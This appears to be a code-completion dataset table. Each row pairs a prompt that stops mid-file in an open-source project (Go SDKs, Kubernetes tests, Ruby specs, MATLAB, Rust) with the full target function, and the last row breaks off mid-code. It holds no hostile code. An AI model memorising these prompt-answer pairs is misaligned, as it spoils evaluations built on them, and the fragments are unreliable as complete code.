prompt
stringlengths
353
6.99k
full-code-of-function
stringlengths
42
7k
__index_level_0__
int64
1
820k
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: api_op_DeleteJobTemplate.go path of file: ./repos/aws-sdk-go-v2/service/mediaconvert the code of the file until where you have to start completion: // Code generated by smithy-go-codegen DO NOT EDIT. package mediaconvert import ( "context" "fmt" awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware" "github.com/aws/smi
func newServiceMetadataMiddleware_opDeleteJobTemplate(region string) *awsmiddleware.RegisterServiceMetadata { return &awsmiddleware.RegisterServiceMetadata{ Region: region, ServiceID: ServiceID, OperationName: "DeleteJobTemplate", } }
224,815
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: discreteSquare.m path of file: ./repos/matImage/matImage/imShapes the code of the file until where you have to start completion: function img = discreteSquare(varargin) %DISCRETESQUARE Discretize a planar square % % IMG = discreteSquare(DIM, CENTER, SIDE) % DIM is the size of image, with the format [x0 dx x1;y0 dy y1] % CENTER is the center of the square % SIDE is the length of the side of the square. % % IMG = discreteSquare(DIM, CENTER, SIDE, THETA) % Also specify spherical angle of the normal of a face of the square. % THETA is the angle with the horizontal, in degrees, counted counter-
function img = discreteSquare(varargin) %DISCRETESQUARE Discretize a planar square % % IMG = discreteSquare(DIM, CENTER, SIDE) % DIM is the size of image, with the format [x0 dx x1;y0 dy y1] % CENTER is the center of the square % SIDE is the length of the side of the square. % % IMG = discreteSquare(DIM, CENTER, SIDE, THETA) % Also specify spherical angle of the normal of a face of the square. % THETA is the angle with the horizontal, in degrees, counted counter- % clockwise in direct basis (and clockwise in image basis). % % IMG = discreteSquare(DIM, SQUARE) % send
443,139
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: wait.go path of file: ./repos/erda/internal/tools/pipeline/providers/reconciler/taskrun/taskop the code of the file until where you have to start completion: // Copyright (c) 2021 Terminus, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package taskop import ( "context" "errors" "math" "time" "github.com/sirupsen/logrus" "github.com/erda-project/erda/apistructs" "github.com/erda-project/erda/intern
func (w *wait) WhenDone(data interface{}) error { defer func() { go metrics.TaskEndEvent(*w.Task, w.P) }() if data == nil { return nil } statusDesc := data.(apistructs.PipelineStatusDesc) endStatus := statusDesc.Status if endStatus.IsFailedStatus() { if inspect, err := w.Executor.Inspect(w.Ctx, w.Task); err != nil { logrus.Errorf("failed to inspect task, pipelineID: %d, taskID: %d, err: %v", w.P.ID, w.Task.ID, err) } else { if inspect.Desc != "" { _ = w.TaskRun().UpdateTaskInspect(inspect.Desc) } } } if statusDesc.Desc != "" { if err := w.TaskRun().AppendLastMsg(statusDesc.Desc); err != nil { logrus.Errorf("failed to append last msg, pipelineID: %d, taskID: %d, msg: %s, err: %v", w.P.ID, w.Task.ID, statusDesc.Desc, err) } } w.Task.Status = endStatus w.Task.TimeEnd = time.Now() w.Task.CostTimeSec = costtimeutil.CalculateTaskCostTimeSec(w.Task) logrus.Infof("reconciler: pipelineID: %d, taskID: %d, taskName: %s, end wait (%s -> %s, wait: %ds)", w.P.ID, w.Task.ID, w.Task.Name, apistructs.PipelineStatusRunning, data.(apistructs.PipelineStatusDesc).Status, w.Task.CostTimeSec) return nil }
712,525
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: role.go path of file: ./repos/next-terminal/server/api the code of the file until where you have to start completion: package api import ( "context" "next-terminal/server/common" "next-terminal/server/common/maps" "next-terminal/server/service" "strconv" "strings" "next-terminal/server/model" "next-ter
func (api RoleApi) CreateEndpoint(c echo.Context) error { var item model.Role if err := c.Bind(&item); err != nil { return err } item.ID = utils.UUID() item.Created = common.NowJsonTime() item.Deletable = true item.Modifiable = true item.Type = "new" if err := service.RoleService.Create(context.Background(), &item); err != nil { return err } return Success(c, "") }
128,196
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: seed_spec.rb path of file: ./repos/gitlabhq/spec/lib/gitlab/ci/pipeline/chain the code of the file until where you have to start completion: # frozen_string_literal: true require 'spec_helper' RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do let_it_be(:project) { c
def run_previous_chain(pipeline, command) [ Gitlab::Ci::Pipeline::Chain::Config::Content.new(pipeline, command), Gitlab::Ci::Pipeline::Chain::Config::Process.new(pipeline, command), Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules.new(pipeline, command) ].map(&:perform!) end
299,292
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: query.go path of file: ./repos/FerretDB/internal/backends/postgresql the code of the file until where you have to start completion: // Copyright 2021 FerretDB Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package postgresql import ( "errors" "fmt" "strings" "time" "github.com/jackc/pgx/v5" "github.com/FerretDB/FerretDB/internal/backends/postgresql/metadata" "github.com/FerretDB/FerretDB/internal/hand
func prepareWhereClause(p *metadata.Placeholder, sqlFilters *types.Document) (string, []any, error) { var filters []string var args []any iter := sqlFilters.Iterator() defer iter.Close() // iterate through root document for { rootKey, rootVal, err := iter.Next() if err != nil { if errors.Is(err, iterator.ErrIteratorDone) { break } return "", nil, lazyerrors.Error(err) } keyOperator := "->" // keyOperator is the operator that is used to access the field. (->/#>) // key can be either a string '"v"' or PostgreSQL path '{v,foo}'. // We use path type only for dot notation due to simplicity of SQL queries, and the fact // that path doesn't handle empty keys. var key any = rootKey // don't pushdown $comment, as it's attached to query with select clause // // all of the other top-level operators such as `$or` do not support pushdown yet if strings.HasPrefix(rootKey, "$") { continue } path, err := types.NewPathFromString(rootKey) var pe *types.PathError switch { case err == nil: if path.Len() > 1 { keyOperator = "#>" key = path.Slice() // '{v,foo}' } case errors.As(err, &pe): // ignore empty key error, otherwise return error if pe.Code() != types.ErrPathElementEmpty { return "", nil, lazyerrors.Error(err) } default: panic("Invalid error type: PathError expected") } switch v := rootVal.(type) { case *types.Document: iter := v.Iterator() defer iter.Close() // iterate through subdocument, as it may contain operators for { k, v, err := iter.Next() if err != nil { if errors.Is(err, iterator.ErrIteratorDone) { break } return "", nil, lazyerrors.Error(err) } switch k { case "$eq": if f, a := filterEqual(p, key, v, keyOperator); f != "" { filters = append(filters, f) args = append(args, a...) } case "$ne": sql := `NOT ( ` + // does document contain the key, // it is necessary, as NOT won't work correctly if the key does not exist. `%[1]s ? %[2]s AND ` + // does the value under the key is equal to filter value `%[1]s->%[2]s @> %[3]s AND ` + // does the value type is equal to the filter's one `%[1]s->'$s'->'p'->%[2]s->'t' = '"%[4]s"' )` switch v := v.(type) { case *types.Document, *types.Array, types.Binary, types.NullType, types.Regex, types.Timestamp: // type not supported for pushdown case float64, bool, int32, int64: filters = append(filters, fmt.Sprintf( sql, metadata.DefaultColumn, p.Next(), p.Next(), sjson.GetTypeOfValue(v), )) // merge with the case below? // TODO https://github.com/FerretDB/FerretDB/issues/3626 args = append(args, rootKey, v) case string, types.ObjectID, time.Time: filters = append(filters, fmt.Sprintf( sql, metadata.DefaultColumn, p.Next(), p.Next(), sjson.GetTypeOfValue(v), )) // merge with the case above? // TODO https://github.com/FerretDB/FerretDB/issues/3626 args = append(args, rootKey, string(must.NotFail(sjson.MarshalSingleValue(v)))) default: panic(fmt.Sprintf("Unexpected type of value: %v", v)) } default: // $gt and $lt // TODO https://github.com/FerretDB/FerretDB/issues/1875 continue } } case *types.Array, types.Binary, types.NullType, types.Regex, types.Timestamp: // type not supported for pushdown case float64, string, types.ObjectID, bool, time.Time, int32, int64: if f, a := filterEqual(p, key, v, keyOperator); f != "" { filters = append(filters, f) args = append(args, a...) } default: panic(fmt.Sprintf("Unexpected type of value: %v", v)) } } var filter string if len(filters) > 0 { filter = ` WHERE ` + strings.Join(filters, " AND ") } return filter, args, nil }
449,430
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: azurefirewalls_server.go path of file: ./repos/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/fake the code of the file until where you have to start completion: //go:build go1.18 // +build go1.18 // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. // Code generated by Microsoft (R) AutoRest Code Generator. DO NOT EDIT. // Changes may cause incorrect beha
func (a *AzureFirewallsServerTransport) dispatchNewListPager(req *http.Request) (*http.Response, error) { if a.srv.NewListPager == nil { return nil, &nonRetriableError{errors.New("fake for method NewListPager not implemented")} } newListPager := a.newListPager.get(req) if newListPager == nil { const regexStr = `/subscriptions/(?P<subscriptionId>[!#&$-;=?-\[\]_a-zA-Z0-9~%@]+)/resourceGroups/(?P<resourceGroupName>[!#&$-;=?-\[\]_a-zA-Z0-9~%@]+)/providers/Microsoft\.Network/azureFirewalls` regex := regexp.MustCompile(regexStr) matches := regex.FindStringSubmatch(req.URL.EscapedPath()) if matches == nil || len(matches) < 2 { return nil, fmt.Errorf("failed to parse path %s", req.URL.Path) } resourceGroupNameParam, err := url.PathUnescape(matches[regex.SubexpIndex("resourceGroupName")]) if err != nil { return nil, err } resp := a.srv.NewListPager(resourceGroupNameParam, nil) newListPager = &resp a.newListPager.add(req, newListPager) server.PagerResponderInjectNextLinks(newListPager, req, func(page *armnetwork.AzureFirewallsClientListResponse, createLink func() string) { page.NextLink = to.Ptr(createLink()) }) } resp, err := server.PagerResponderNext(newListPager, req) if err != nil { return nil, err } if !contains([]int{http.StatusOK}, resp.StatusCode) { a.newListPager.remove(req) return nil, &nonRetriableError{fmt.Errorf("unexpected status code %d. acceptable values are http.StatusOK", resp.StatusCode)} } if !server.PagerResponderMore(newListPager) { a.newListPager.remove(req) } return resp, nil }
264,332
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: ping.go path of file: ./repos/sealer/vendor/github.com/docker/docker/client the code of the file until where you have to start completion: package client // import "github.com/docker/docker/client" import ( "context" "net/http" "path" "github.com/docker/docker/api/types" "github.com/docker/docker/errdefs" ) // Ping pings the server and returns the value of the "Docker-Experimental", // "Builder-Version", "OS-Type" & "API-Version" headers. It
func parsePingResponse(cli *Client, resp serverResponse) (types.Ping, error) { var ping types.Ping if resp.header == nil { err := cli.checkResponseErr(resp) return ping, errdefs.FromStatusCode(err, resp.statusCode) } ping.APIVersion = resp.header.Get("API-Version") ping.OSType = resp.header.Get("OSType") if resp.header.Get("Docker-Experimental") == "true" { ping.Experimental = true } if bv := resp.header.Get("Builder-Version"); bv != "" { ping.BuilderVersion = types.BuilderVersion(bv) } err := cli.checkResponseErr(resp) return ping, errdefs.FromStatusCode(err, resp.statusCode) }
721,385
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: disruption_test.go path of file: ./repos/kubernetes/test/integration/disruption the code of the file until where you have to start completion: /* Copyright 2019 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distr
func createPod(ctx context.Context, t *testing.T, name, namespace string, labels map[string]string, clientSet clientset.Interface, ownerRefs []metav1.OwnerReference) { pod := &v1.Pod{ ObjectMeta: metav1.ObjectMeta{ Name: name, Namespace: namespace, Labels: labels, OwnerReferences: ownerRefs, }, Spec: v1.PodSpec{ Containers: []v1.Container{ { Name: "fake-name", Image: "fakeimage", }, }, }, } _, err := clientSet.CoreV1().Pods(namespace).Create(ctx, pod, metav1.CreateOptions{}) if err != nil { t.Error(err) } addPodConditionReady(pod) if _, err := clientSet.CoreV1().Pods(namespace).UpdateStatus(ctx, pod, metav1.UpdateOptions{}); err != nil { t.Error(err) } }
350,973
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: ldap_auth_source.rb path of file: ./repos/openproject/app/models the code of the file until where you have to start completion: #-- copyright # OpenProject is an open source project manag
def ldap_encryption return nil if plain_ldap? { method: tls_mode.to_sym, tls_options: } end
667,269
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: syscall_linux_ppc.go path of file: ./repos/streamdal/apps/cli/vendor/golang.org/x/sys/unix the code of the file until where you have to start completion: // Copyright 2021 The Go Authors. All rights reserved. // Use of this sourc
func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { newoffset, errno := seek(fd, offset, whence) if errno != 0 { return 0, errno } return newoffset, nil }
205,943
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: mysql_database_tasks.rb path of file: ./repos/stackneveroverflow/vendor/bundle/ruby/2.3.0/gems/activerecord-5.0.3/lib/active_record/tasks the code of the file until where you have to start completion: module ActiveRecord module Tasks # :nod
def grant_statement <<-SQL GRANT ALL PRIVILEGES ON #{configuration['database']}.* TO '#{configuration['username']}'@'localhost' IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION; SQL end
243,983
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: identity_store_test.go path of file: ./repos/ziti/controller/db the code of the file until where you have to start completion: package db import ( "fmt" "github.com/openziti/storage/boltz" "github.com/openziti/storage/boltztest" "github.com/openziti/ziti/common/eid" "github.com/openziti/ziti/controller/change" "github.com/pkg/errors" "go.etcd.io/bbolt" "testing" ) func Test_IdentityStore(t *testing.T) { ctx := NewTestContext(t) defer ctx.Cleanup() ctx.Init() t.Run("test identity service co
func (ctx *TestContext) getIdentityServices(tx *bbolt.Tx, configId string) []testIdentityServices { var result []testIdentityServices identityServiceSymbol := ctx.stores.Config.GetSymbol(FieldConfigIdentityService).(boltz.EntitySetSymbol) err := identityServiceSymbol.Map(tx, []byte(configId), func(ctx *boltz.MapContext) { decoded, err := boltz.DecodeStringSlice(ctx.Value()) if err != nil { ctx.SetError(err) return } if len(decoded) != 2 { ctx.SetError(errors.Errorf("expected 2 fields, got %v", len(decoded))) } result = append(result, testIdentityServices{identityId: decoded[0], serviceId: decoded[1]}) }) ctx.NoError(err) return result }
642,026
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: tables9.0.0.go path of file: ./repos/sealer/vendor/golang.org/x/text/width the code of the file until where you have to start completion: // Code generated by running "go generate" in golang.org/x/text.
func (t *widthTrie) lookupUnsafe(s []byte) uint16 { c0 := s[0] if c0 < 0x80 { // is ASCII return widthValues[c0] } i := widthIndex[c0] if c0 < 0xE0 { // 2-byte UTF-8 return t.lookupValue(uint32(i), s[1]) } i = widthIndex[uint32(i)<<6+uint32(s[1])] if c0 < 0xF0 { // 3-byte UTF-8 return t.lookupValue(uint32(i), s[2]) } i = widthIndex[uint32(i)<<6+uint32(s[2])] if c0 < 0xF8 { // 4-byte UTF-8 return t.lookupValue(uint32(i), s[3]) } return 0 }
725,443
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: dorgqr.go path of file: ./repos/hoverfly/vendor/gonum.org/v1/gonum/lapack/gonum the code of the file until where you have to start completion: // Copyright ©2015 The Gonum Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package gonum import ( "gonum.org/v1/gonum/blas" "gonum.org/v1/gonum/lapack" ) // Dorgqr generates an m×n matrix Q with orthonormal columns defined by the // product of elementary reflectors // Q = H_0 * H_1 * ... * H_{k-1} // as computed by Dgeqrf. // Dorgqr is the blocked version of Dorg2r that makes greater use of level-3 BLAS // routines. // // The length of tau must be at least k, and the length of work must be at least n. // It also must be that 0 <= k <= n and 0 <= n <= m. // // work is temporary storage, and lwork specifies the usable memory length. At // minimum, lwork >= n, and the amount of blocking is limited by the usable // length. If lwork == -1, instead of computing Dorgqr the optimal work length // is stored into work[0]. // // Dorgqr will panic if
func (impl Implementation) Dorgqr(m, n, k int, a []float64, lda int, tau, work []float64, lwork int) { switch { case m < 0: panic(mLT0) case n < 0: panic(nLT0) case n > m: panic(nGTM) case k < 0: panic(kLT0) case k > n: panic(kGTN) case lda < max(1, n) && lwork != -1: // Normally, we follow the reference and require the leading // dimension to be always valid, even in case of workspace // queries. However, if a caller provided a placeholder value // for lda (and a) when doing a workspace query that didn't // fulfill the condition here, it would cause a panic. This is // exactly what Dgesvd does. panic(badLdA) case lwork < max(1, n) && lwork != -1: panic(badLWork) case len(work) < max(1, lwork): panic(shortWork) } if n == 0 { work[0] = 1 return } nb := impl.Ilaenv(1, "DORGQR", " ", m, n, k, -1) // work is treated as an n×nb matrix if lwork == -1 { work[0] = float64(n * nb) return } switch { case len(a) < (m-1)*lda+n: panic(shortA) case len(tau) < k: panic(shortTau) } nbmin := 2 // Minimum block size var nx int // Crossover size from blocked to unbloked code iws := n // Length of work needed var ldwork int if 1 < nb && nb < k { nx = max(0, impl.Ilaenv(3, "DORGQR", " ", m, n, k, -1)) if nx < k { ldwork = nb iws = n * ldwork if lwork < iws { nb = lwork / n ldwork = nb nbmin = max(2, impl.Ilaenv(2, "DORGQR", " ", m, n, k, -1)) } } } var ki, kk int if nbmin <= nb && nb < k && nx < k { // The first kk columns are handled by the blocked method. ki = ((k - nx - 1) / nb) * nb kk = min(k, ki+nb) for i := 0; i < kk; i++ { for j := kk; j < n; j++ { a[i*lda+j] = 0 } } } if kk < n { // Perform the operation on colums kk to the end. impl.Dorg2r(m-kk, n-kk, k-kk, a[kk*lda+kk:], lda, tau[kk:], work) } if kk > 0 { // Perform the operation on column-blocks. for i := ki; i >= 0; i -= nb { ib := min(nb, k-i) if i+ib < n { impl.Dlarft(lapack.Forward, lapack.ColumnWise, m-i, ib, a[i*lda+i:], lda, tau[i:], work, ldwork) impl.Dlarfb(blas.Left, blas.NoTrans, lapack.Forward, lapack.ColumnWise, m-i, n-i-ib, ib, a[i*lda+i:], lda, work, ldwork, a[i*lda+i+ib:], lda, work[ib*ldwork:], ldwork) } impl.Dorg2r(m-i, ib, ib, a[i*lda+i:], lda, tau[i:], work) // Set rows 0:i-1 of current block to zero. for j := i; j < i+ib; j++ { for l := 0; l < i; l++ { a[l*lda+j] = 0 } } } } work[0] = float64(iws) }
692,469
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: user.rb path of file: ./repos/Sitepoint-source/Authentication_with_OAuth2/app/models the code of the file until where you have to start completion: # == Schema Information # # Table name: users # # id :integer not null, primary key # provider :string # uid :string # name :str
def from_omniauth(auth_hash) user = find_or_create_by(uid: auth_hash['uid'], provider: auth_hash['provider']) user.name = auth_hash['info']['name'] user.location = get_social_location_for user.provider, auth_hash['info']['location'] user.image_url = auth_hash['info']['image'] user.url = get_social_url_for user.provider, auth_hash['info']['urls'] user.save! user end
593,887
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: infKL.m path of file: ./repos/Gaussian-Process-Regression/gpml-matlab-v4.2-2018-06-11/inf the code of the file until where you have to start completion: function [post nlZ dnlZ] = infKL(hyp, mean, cov, lik, x, y, opt) % Approximation to the posterior Gaussian Process by direct minimization of the % KL-divergence. % % The optimisation procedure is an implementation of the CVI algorithm for GP % models, based on Algorithm 1 and Equation 13 in [1]. % To estimate gradients of E[log p(y|f)], we use Gauss-Hermite quadrature. % % [1] Emtiyaz Khan and Wu Lin, Conjugate-Computation Variational Inference: % Converting Variational Inference in Non-Conjugate Models to Inferences in % Conjugate Models, AISTATS, 2017. % % Compute a parametrization of the posterior, the negative log marginal % likelihood and its derivatives w.r.t. the hyperparameters. The function takes
function [post nlZ dnlZ] = infKL(hyp, mean, cov, lik, x, y, opt) % Approximation to the posterior Gaussian Process by direct minimization of the % KL-divergence. % % The optimisation procedure is an implementation of the CVI algorithm for GP % models, based on Algorithm 1 and Equation 13 in [1]. % To estimate gradients of E[log p(y|f)], we use Gauss-Hermite quadrature. % % [1] Emtiyaz Khan and Wu Lin, Conjugate-Computation Variational Inference: % Converting Variational Inference in Non-Conjugate Models to Inferences in % Conjugate Models, AISTATS, 2017. % % Compute a parametrization of the posterior, the negative log marginal % likelihood and its derivatives w.r.t. the hyperparameters. The function takes % a specified covariance function (see covFunctions.m) and likelihood function % (see likFunctions.m), and is designed to be used with gp.m. % % Copyright (c) by Emtiyaz Khan (RIKEN) and Wu Lin (RIKEN) 2017-08-18 % with some changes by Hannes Nickisch 2017-10-22. % % See also INFMETHODS.M, APX.M, GP.M. c1 = cov{1}; if isa(c1, 'function_handle'), c1 = func2str(c1); end
62,085
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: perspective.rs path of file: ./repos/rs_pbrt/src/cameras the code of the file until where you have to start completion: // std use std::cell::Cell; use std::f32::consts::PI; use std::sync::Arc; // pbrt use crate::core::camera::{Camera, CameraSample}; use crate::core::film::Film; use crate::core::geometry::{nrm_abs_dot_vec3f, vec3_dot_vec3f}; use crate::core::geometry::{ Bounds2f, Bounds2i, Normal3f, Point2f, Point2i, Point3f, Ray, RayDifferential, Vector3f, }; use crate::core::interaction::InteractionCommon; use crate::core::light::VisibilityTester; use crate::core::medium::{Medium, MediumInterface}; use crate::core::paramset::ParamSet; use crate::core::pbrt::lerp; use crate::core::pbrt::{Float, Spectrum}; use crate::core::sampling::concentric_sample_disk; use crate::core::transform::{AnimatedTransform, Transform}; // see perspective.h pub struct PerspectiveCamera { // inherited from Camera (see camera.h) pub camera_to_world: AnimatedTransform, pub shutter_open: Float, pub shutter_close: Float, pub film: Arc<Film>, pub medium: Option<Arc<Medium>>, // inherited from ProjectiveCamera (see camera.h) // camera_to_screen: Transform, pub raster_to_camera: Transform, // screen_to_raster: Transform, // raster_to_screen: Transform, pub lens_radius: Float, pub focal_distance: Float, // private data (see perspective.h) pub dx_camera: Vector3f, pub dy_camera: Vector3f, pub a: Float, // extra parameters clipping_start: Float, // ADDED } impl PerspectiveCamera { pub fn new( camera_to_world: AnimatedTransform, screen_window: Bounds2f, shutter_open: Float, shutter_close: Float, lens_radius: Float, focal_distance: Float, fov: Float, film: Arc<Film>, medium: Option<Arc<Medium>>, clipping_start: Float, ) -> Self { // see perspective.cpp let camera_to_screen: Transform = Transform::perspective(fov, 1e-2, 1000.0); // see camera.h // compute projective camera screen transformations let scale1 = Transform::scale( film.full_resolution.x as Float, film.full_resolution.y as Float, 1.0, ); let scale2 = Transform::scale( 1.0 / (screen_window.p_max.x - screen_window.p_min.x), 1.0 / (screen_window.p_min.y - screen_window.p_max.y), 1.0, ); let translate = Transform::translate(&Vector3f { x: -screen_window.p_min.x, y: -screen_window.p_max.y, z: 0.0, }); let screen_to_raster = scale1 * scale2 * translate; let raster_to_screen = Transform::inverse(&screen_to_raster); let raster_to_camera = Transform::inverse(&camera_to_screen) * raster_to_screen; // see perspective.cpp // compute differential changes in origin for perspective camera rays let dx_camera: Vector3f = raster_to_camera.transform_point(&Point3f { x: 1.0, y: 0.0, z: 0.0, }) - raster_to_camera.transform_point(&Point3f { x: 0.0, y: 0.0, z: 0.0, }); let dy_camera: Vector3f = ra
pub fn generate_ray_differential(&self, sample: &CameraSample, ray: &mut Ray) -> Float { // TODO: ProfilePhase prof(Prof::GenerateCameraRay); // compute raster and camera sample positions let p_film: Point3f = Point3f { x: sample.p_film.x, y: sample.p_film.y, z: 0.0, }; let p_camera: Point3f = self.raster_to_camera.transform_point(&p_film); let dir: Vector3f = Vector3f { x: p_camera.x, y: p_camera.y, z: p_camera.z, } .normalize(); let mut diff: RayDifferential = RayDifferential { rx_origin: ray.o, ry_origin: ray.o, rx_direction: (Vector3f { x: p_camera.x, y: p_camera.y, z: p_camera.z, } + self.dx_camera) .normalize(), ry_direction: (Vector3f { x: p_camera.x, y: p_camera.y, z: p_camera.z, } + self.dy_camera) .normalize(), }; // *ray = RayDifferential(Point3f(0, 0, 0), dir); let mut in_ray: Ray = Ray { o: Point3f::default(), d: dir, t_max: Cell::new(std::f32::INFINITY), time: lerp(sample.time, self.shutter_open, self.shutter_close), medium: None, differential: Some(diff), }; // modify ray for depth of field if self.lens_radius > 0.0 as Float { // sample point on lens let p_lens: Point2f = concentric_sample_disk(&sample.p_lens) * self.lens_radius; // compute point on plane of focus let ft: Float = self.focal_distance / in_ray.d.z; let p_focus: Point3f = in_ray.position(ft); // update ray for effect of lens in_ray.o = Point3f { x: p_lens.x, y: p_lens.y, z: 0.0 as Float, }; in_ray.d = (p_focus - in_ray.o).normalize(); } // compute offset rays for _PerspectiveCamera_ ray differentials if self.lens_radius > 0.0 as Float { // compute _PerspectiveCamera_ ray differentials accounting for lens // sample point on lens let p_lens: Point2f = concentric_sample_disk(&sample.p_lens) * self.lens_radius; let dx: Vector3f = Vector3f::from(p_camera + self.dx_camera).normalize(); let ft: Float = self.focal_distance / dx.z; let p_focus: Point3f = Point3f::default() + (dx * ft); diff.rx_origin = Point3f { x: p_lens.x, y: p_lens.y, z: 0.0 as Float, }; diff.rx_direction = (p_focus - diff.rx_origin).normalize(); let dy: Vector3f = Vector3f::from(p_camera + self.dy_camera).normalize(); let ft: Float = self.focal_distance / dy.z; let p_focus: Point3f = Point3f::default() + (dy * ft); diff.ry_origin = Point3f { x: p_lens.x, y: p_lens.y, z: 0.0 as Float, }; diff.ry_direction = (p_focus - diff.ry_origin).normalize(); // replace differential in_ray.differential = Some(diff); } // ray->medium = medium; if let Some(ref medium_arc) = self.medium { in_ray.medium = Some(medium_arc.clone()); } else { in_ray.medium = None; } *ray = self.camera_to_world.transform_ray(&in_ray); 1.0 }
2,900
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: api_op_ListAppComponentRecommendations.go path of file: ./repos/aws-sdk-go-v2/service/resiliencehub the code of the file until where you have to start completion: // Code generated by smithy-go-codegen DO NOT EDIT. package resiliencehub import ( "context" "fmt" awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware" "github
func newServiceMetadataMiddleware_opListAppComponentRecommendations(region string) *awsmiddleware.RegisterServiceMetadata { return &awsmiddleware.RegisterServiceMetadata{ Region: region, ServiceID: ServiceID, OperationName: "ListAppComponentRecommendations", } }
235,258
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: vfmadd213pd.rb path of file: ./repos/fisk/lib/fisk/instructions the code of the file until where you have to start completion: # frozen_string_literal: true class F
def encode buffer, operands add_VEX(buffer, operands) add_opcode(buffer, 0xA8, 0) + add_modrm(buffer, 3, operands[0].op_value, operands[2].op_value, operands) + 0 end
191,453
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: level1.go path of file: ./repos/k6/vendor/github.com/klauspost/compress/flate the code of the file until where you have to start completion: package flate import ( "encoding/binary" "fmt" "math/bits" ) // fastGen maintains the table for matches, // and the previous byte block for level 2. // This is the generic implementation. type fastEncL1 struct { fastGen table [tableSize]tableEntry } // EncodeL1 uses a similar algorithm to level 1 func (e *fastEncL1) Encode(dst *tokens, src []byte) { const ( inputMargin = 12 - 1 minNonLiteralBlockSize = 1 + 1 + inputMargin hashBytes = 5 ) if debugDeflate && e.cur < 0 { panic(fmt.Sprint("e.cur < 0: ", e.cur)) } // Protect against e.cur wraparound. for e.cur >= bufferReset { if len(e.hist) == 0 { for i := range e.table[:] { e.table[i] = tableEntry{} } e.cur = maxMatchOffset break } // Shift down everything in the table that isn't already too far away. minOff := e.cur + int32(len(e.hist)) - m
func (e *fastEncL1) Encode(dst *tokens, src []byte) { const ( inputMargin = 12 - 1 minNonLiteralBlockSize = 1 + 1 + inputMargin hashBytes = 5 ) if debugDeflate && e.cur < 0 { panic(fmt.Sprint("e.cur < 0: ", e.cur)) } // Protect against e.cur wraparound. for e.cur >= bufferReset { if len(e.hist) == 0 { for i := range e.table[:] { e.table[i] = tableEntry{} } e.cur = maxMatchOffset break } // Shift down everything in the table that isn't already too far away. minOff := e.cur + int32(len(e.hist)) - maxMatchOffset for i := range e.table[:] { v := e.table[i].offset if v <= minOff { v = 0 } else { v = v - e.cur + maxMatchOffset } e.table[i].offset = v } e.cur = maxMatchOffset } s := e.addBlock(src) // This check isn't in the Snappy implementation, but there, the caller // instead of the callee handles this case. if len(src) < minNonLiteralBlockSize { // We do not fill the token table. // This will be picked up by caller. dst.n = uint16(len(src)) return } // Override src src = e.hist nextEmit := s // sLimit is when to stop looking for offset/length copies. The inputMargin // lets us use a fast path for emitLiteral in the main loop, while we are // looking for copies. sLimit := int32(len(src) - inputMargin) // nextEmit is where in src the next emitLiteral should start from. cv := load6432(src, s) for { const skipLog = 5 const doEvery = 2 nextS 